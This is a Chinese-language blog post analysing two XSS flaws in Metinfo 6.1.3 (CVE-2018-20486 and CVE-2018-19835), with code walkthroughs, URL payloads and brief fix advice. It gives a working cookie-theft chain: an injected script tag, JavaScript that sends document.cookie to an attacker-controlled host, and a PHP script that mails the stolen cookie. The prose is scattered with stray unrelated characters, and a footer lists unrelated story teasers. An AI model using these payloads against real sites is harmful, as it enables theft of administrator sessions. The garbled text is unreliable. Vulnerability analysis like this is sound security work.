Metinfo 6.1.3 XSS漏洞分析

文章首發(fā)于安全客,Metinfo 6.1.3 XSS漏洞分析

前言

前段時間看到一個cms造成的xss漏洞邑狸,這里想分析下。這個漏洞是metinfo6.1.3版本因參數(shù)問題造成前臺和后臺引起了兩處xss漏洞奢方。

這個漏洞的影響范圍一直到最新版本(6.1.3),因為前段時間爆出的漏洞爸舒,所以新版本應(yīng)該已修復(fù)蟋字。
cms最新6.13下載地址:https://www.mituo.cn/download/

前臺漏洞分析( CVE-2018-20486)

通過在前臺插入xss訪問,然后會在后臺觸發(fā)xss扭勉,造成xss攻擊鹊奖。
漏洞的觸發(fā)點(diǎn)在
admin/login/login_check.php

image.png

這里加載了 $commonpath=$depth.'include/common.inc.php',然后在如下的代碼段里存在變量覆蓋漏洞: (admin/include/common.inc.php 77行)

image.png

然后往下分析涂炎,回頭看admin/login/login_check.php這段代碼

image.png

$url_array變量是我們可控的忠聚,從而控制$truefile變量设哗,進(jìn)入下個if語句,if語句中存在更改數(shù)據(jù)庫信息的mysql語句两蟀,從而可以直接更改數(shù)據(jù)庫信息
$_M 數(shù)組是一個包含了網(wǎng)站設(shè)置网梢,系統(tǒng)調(diào)用等信息的總和數(shù)組,具體內(nèi)容如下:

  $_M[config]:網(wǎng)站配置數(shù)組垫竞,里面可以查詢到所有的網(wǎng)站配置數(shù)據(jù)澎粟。
    $_M[form]:提交的GET,POST,COOKIE表單數(shù)組蛀序。在系統(tǒng)中不要直接使用$_POST,$_GET,$_COOKIE,
        這些都是沒有過濾的欢瞪,$_M[form]中是已經(jīng)安全過濾后的數(shù)組。
    $_M[langlist]:語言設(shè)置數(shù)組徐裸,其中$_M[langlist][web]為前臺語言設(shè)置遣鼓,
            $_M[langlist][admin]為后臺語言設(shè)置。
    $_M[lang]:前臺語言重贺,如果你是在網(wǎng)站前臺骑祟,則這個值是你當(dāng)前訪問的語言,
        如果是后臺气笙,則這個值是你當(dāng)前編輯的語言次企。
    $_M[table]:系統(tǒng)表名稱。
    $_M[url]:系統(tǒng)一些常用URL入口地址潜圃。
    $_M[url][site_admin] :網(wǎng)站后臺地址
    $_M[url][site] :網(wǎng)站前臺地址
    $_M[url][entrance] :框架入口地址
    $_M[url][own] :當(dāng)前執(zhí)行的應(yīng)用根目錄地址
    $_M[url][app] :應(yīng)用根目錄地址
    $_M[url][pub] :系統(tǒng)公用文件(html.css,js)地址
    $_M[url][ui] :當(dāng)前class所使用的UI地址缸棵,前臺為“系統(tǒng)ui根目錄/web”;,
                    后臺為“系統(tǒng)ui根目錄/admin”谭期。
    $_M[user][cookie]:用戶cookie信息堵第,建議不要直接取值,使用get_met_cookie()取值隧出。
    $_M[word]:當(dāng)前的語言參數(shù)踏志。
    $_M[plugin]:系統(tǒng)插件數(shù)組。

然后在 app/system/include/class/common.class.php

    $_M['config']['met_adminfile_code'] = $_M['config']['met_adminfile'];
        $_M['config']['met_adminfile'] = authcode($_M['config']['met_adminfile'],'DECODE', $_M['config']['met_webkeys']);
        if ($_M['config']['met_adminfile'] == '') {
            $_M['config']['met_adminfile'] = 'admin';
            $met_adminfile = authcode($_M['config']['met_adminfile'],'ENCODE', $_M['config']['met_webkeys']);
            $query = "UPDATE {$_M['config']['tablepre']}config SET `value` = '$met_adminfile' where `name`='met_adminfile'";
            $result = DB::query($query);
        }

我們可以看到胀瞪,met_adminfile是我們可控的值存在于$_M['config']['met_adminfile']中针余,也就是通過這個就可以找到我們可以構(gòu)造的點(diǎn)了。

image.png

看到這里就會發(fā)現(xiàn)離我們可構(gòu)造的XSS不遠(yuǎn)了凄诞,這段存在于app/system/safe/admin/templates/index.php (72行)涵紊,可以發(fā)現(xiàn),這里標(biāo)簽直接輸出了met_adminfile的值幔摸,因此造成了一個存儲型的XSS漏洞摸柄。
XSS payload:

http://127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=123&url_array[]=123&url_array[]=aa" onfocus=alert(/xss/) &url_array[]=123

這里用onfocus屬性造成的彈框。
onfocus:

當(dāng) input 輸入框獲取焦點(diǎn)時執(zhí)行一段 Javascript代碼:
<input type="text" onfocus="myFunction()">

XSS的構(gòu)造方式有很多中既忆,但是只要滿足輸出條件即可:
$turefile=$url_array[count($url_array)-2]在倒數(shù)第二個值中輸入我們想要的值就可以了驱负,不斷傳入url_array[]數(shù)組的值然后$truefile返回的是數(shù)組倒數(shù)第二個值嗦玖,然后$truefile會被帶入數(shù)據(jù)庫中被更新,然后后臺在點(diǎn)擊帶有那個標(biāo)簽頁面時便會觸發(fā)XSS

1.1 前臺漏洞復(fù)現(xiàn)

其實(shí)這個漏洞也不完全是前臺跃脊,因為它只是通過通過URL訪問后臺目錄宇挫,雖然無回顯但是可以成功插入信息。
XSS Payload:

http:// 127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=123&url_array[]=123&url_array[]=aa" onfocus=alert(/xss/) &url_array[]=123

然后直接訪問酪术,無回顯器瘪。
這時登錄后臺,點(diǎn)擊安全與效率頁面

metinfo.png
image.png

點(diǎn)擊后臺文件夾的文件名即可觸發(fā)xss绘雁。其實(shí)可以發(fā)現(xiàn)后臺文件名已經(jīng)被更改了橡疼,并插入了XSS代碼。每當(dāng)更改文件便會觸發(fā)XSS庐舟,這里就是通過更改$truefile的值傳進(jìn)數(shù)據(jù)庫欣除,從而更新了文件名。
我們可以通過這個存儲型XSS漏洞去拿管理員cookie挪略。

獲取cookie-payload:

http:// 127.0.0.1/metinfo6.13/admin/login/login_check.php?url_array[]=1&url_array[]=1&url_array[]=aa" <SCript src=http://localhost/Myphp/eamil/joke.js>&url_array[]=1

單引號做了過濾所以不要使用單引號历帚,payload能簡則簡。
這里是我自己做的很簡單的腳本杠娱,獲取cookie發(fā)送自己郵箱里挽牢。
執(zhí)行后,當(dāng)管理員進(jìn)入后臺點(diǎn)擊安全與效率頁面時便可觸發(fā)摊求。

metinfo1.png

metinfo2.png

腳本貼上

<?php
$cookie = $_GET['joke'];
if(isset($_GET['joke']))
{
$to = "xxxxxxx@qq.com";         // 郵件接收者
$subject = "COOKIE";                // 郵件標(biāo)題
$message = $_GET['joke'];  // 郵件正文
$from = "xxxxxxx@qq.com";   // 郵件發(fā)送者
$headers = "From:" . $from;         // 頭部信息設(shè)置
mail($to,$subject,$message,$headers);
echo "郵件已發(fā)送";
}
else
    echo "郵件發(fā)送失敗";
?>
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://localhost/Myphp/eamil0.php?joke='+encodeURIComponent(document.cookie);//這里是用本地環(huán)境測試的禽拔,可以換成自己的ip地址

js腳本獲取cookie內(nèi)容,然后將cookie賦予php腳本變量中睹簇,然后獲取變量內(nèi)容奏赘,發(fā)送郵件到自己郵箱。
發(fā)送郵箱需配置smtp服務(wù)太惠,具體可以參考我這篇文章http://www.reibang.com/p/4afafc3c5a3e

2.0 后臺漏洞分析(CVE-2018-19835)

后臺也是由于參數(shù)問題過濾不嚴(yán)謹(jǐn)造成的xss漏洞磨淌,不過這個目錄只能在后臺訪問。
先看造成漏洞的主要代碼塊(/admin/column/move.php):

image.png

從代碼中可以看出只需要$folderyanzheng> 0進(jìn)入if判斷內(nèi)凿渊,再看第二個if語句梁只,要保證$folder_m不為空,因此我們可以隨便查詢一個數(shù)據(jù)庫埃脏,也就是給變量$foldername賦一個數(shù)據(jù)庫名搪锣。然后將$lang_columnerr4賦給$metcms,最后輸出$metcms,也就造成了xss彩掐。
查詢數(shù)據(jù)庫如下:

image.png

不過從這里可以看出造成這個xss攻擊代價太大构舟,不僅要知道后臺權(quán)限,還要知道數(shù)據(jù)庫名堵幽。感覺可用性并不是太強(qiáng)狗超。

2.1 漏洞復(fù)現(xiàn)

Xss-Payload:

http://127.0.0.1/metinfo6.13/admin/column/move.php?foldyanzheng=1&foldername=search&lang_columnerr4=<Script>alert(/xss/)</sCript>&metcms=1
image.png

這里我們可以看出它會將信息最終通過metcms參數(shù)輸出在頁面中弹澎,因此也就造成了xss。

image.png

3.0 總結(jié)

修復(fù)建議: 因為最新版本應(yīng)該已經(jīng)修復(fù)相關(guān)漏洞努咐,可以升級為新版本苦蒿,或暫緩修復(fù)后臺(admin/include/common.inc.php)存在的變量覆蓋漏洞。
metinfo出現(xiàn)的xss漏洞較多渗稍,但xss在能夠利用的情況下產(chǎn)生的危害也較大佩迟,因此在開發(fā)時應(yīng)考慮到造成漏洞的不同場景,盡可能的避免漏洞存在竿屹。針對XSS最常見的可以對輸入(和URL參數(shù))進(jìn)行過濾报强,對輸出進(jìn)行編碼,也可以對關(guān)鍵字進(jìn)行黑名單或白名單的過濾等等羔沙。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末躺涝,一起剝皮案震驚了整個濱河市厨钻,隨后出現(xiàn)的幾起案子扼雏,更是在濱河造成了極大的恐慌,老刑警劉巖夯膀,帶你破解...
    沈念sama閱讀 217,509評論 6 504
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件诗充,死亡現(xiàn)場離奇詭異,居然都是意外死亡诱建,警方通過查閱死者的電腦和手機(jī)蝴蜓,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,806評論 3 394
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來俺猿,“玉大人茎匠,你說我怎么就攤上這事⊙号郏” “怎么了诵冒?”我有些...
    開封第一講書人閱讀 163,875評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長谊惭。 經(jīng)常有香客問我汽馋,道長,這世上最難降的妖魔是什么圈盔? 我笑而不...
    開封第一講書人閱讀 58,441評論 1 293
  • 正文 為了忘掉前任豹芯,我火速辦了婚禮,結(jié)果婚禮上驱敲,老公的妹妹穿的比我還像新娘铁蹈。我一直安慰自己,他們只是感情好众眨,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,488評論 6 392
  • 文/花漫 我一把揭開白布握牧。 她就那樣靜靜地躺著便锨,像睡著了一般。 火紅的嫁衣襯著肌膚如雪我碟。 梳的紋絲不亂的頭發(fā)上放案,一...
    開封第一講書人閱讀 51,365評論 1 302
  • 那天,我揣著相機(jī)與錄音矫俺,去河邊找鬼吱殉。 笑死,一個胖子當(dāng)著我的面吹牛厘托,可吹牛的內(nèi)容都是我干的友雳。 我是一名探鬼主播,決...
    沈念sama閱讀 40,190評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼铅匹,長吁一口氣:“原來是場噩夢啊……” “哼押赊!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起包斑,我...
    開封第一講書人閱讀 39,062評論 0 276
  • 序言:老撾萬榮一對情侶失蹤流礁,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后罗丰,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體神帅,經(jīng)...
    沈念sama閱讀 45,500評論 1 314
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,706評論 3 335
  • 正文 我和宋清朗相戀三年萌抵,在試婚紗的時候發(fā)現(xiàn)自己被綠了找御。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,834評論 1 347
  • 序言:一個原本活蹦亂跳的男人離奇死亡绍填,死狀恐怖霎桅,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情讨永,我是刑警寧澤滔驶,帶...
    沈念sama閱讀 35,559評論 5 345
  • 正文 年R本政府宣布,位于F島的核電站住闯,受9級特大地震影響瓜浸,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜比原,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,167評論 3 328
  • 文/蒙蒙 一插佛、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧量窘,春花似錦雇寇、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,779評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽嫩海。三九已至,卻和暖如春囚痴,著一層夾襖步出監(jiān)牢的瞬間叁怪,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,912評論 1 269
  • 我被黑心中介騙來泰國打工深滚, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留奕谭,地道東北人。 一個月前我還...
    沈念sama閱讀 47,958評論 2 370
  • 正文 我出身青樓痴荐,卻偏偏與公主長得像血柳,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子生兆,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,779評論 2 354